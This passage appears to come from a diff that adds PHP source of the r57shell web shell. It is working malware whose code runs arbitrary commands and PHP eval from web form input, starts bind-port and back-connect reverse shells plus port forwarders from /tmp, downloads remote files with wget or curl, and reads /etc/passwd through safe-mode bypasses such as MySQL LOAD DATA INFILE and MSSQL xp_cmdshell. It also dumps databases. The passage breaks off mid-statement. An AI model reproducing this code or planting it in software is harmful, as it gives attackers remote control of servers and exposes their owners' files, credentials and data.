+echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir."<br>"; +echo "</font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(empty($c1)||empty($c2)) { die(); } +$f = '<br>'; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file") + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + @fwrite($file,$_POST['e_text']); + @fclose($file); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -p ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="db_show") + { + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mysql_query("SHOW DATABASES", $db); + while(($row=@mysql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db); + while(($row2=@mysql_fetch_row($res2))) + { + echo " | - ".$row2[0]."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db); + while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; } + } + } + } + } + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mssql_query("sp_databases", $db); + while(($row=@mssql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + @mssql_select_db($row[0]); + $res2 = @mssql_query("sp_tables",$db); + while(($row2=@mssql_fetch_array($res2))) + { + if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties') + { + echo " | - ".$row2['TABLE_NAME']."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mssql_query("sp_columns ".$row2[2],$db); + while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; } + } + } + } + } + } + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'"); + while(($row=@pg_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ + $sqh = "# homepage: http://\r\n"; + $sqh .= "# ---------------------------------\r\n"; + $sqh .= "# date : ".date ("j F Y g:i")."\r\n"; + $sqh .= "# database : ".$_POST['mysql_db']."\r\n"; + $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n"; + $sqh .= "# ---------------------------------\r\n\r\n"; + switch($_POST['db']){ + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mysql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MySQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); + $row = @mysql_fetch_row($res); + $sql1 .= $row[1]."\r\n\r\n"; + $sql1 .= "# ---------------------------------\r\n\r\n"; + $sql2 = ''; + $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); + if (@mysql_num_rows($res) > 0) { + while (($row = @mysql_fetch_assoc($res))) { + $keys = @implode("`, `", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mssql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MSSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db); + if (@mssql_num_rows($res) > 0) { + while (($row = @mssql_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $sql1 = "# PostgreSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl'].""); + if (@pg_num_rows($res) > 0) { + while (($row = @pg_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } + else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].$table_up2.$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text76'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text32'].$table_up2.$font; +echo "<div align=center><textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].$table_up2.$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.$table_end1.$fe; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +echo $table_up1.$lang[$language.'_text82'].$table_up2.$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text77']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1')); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo 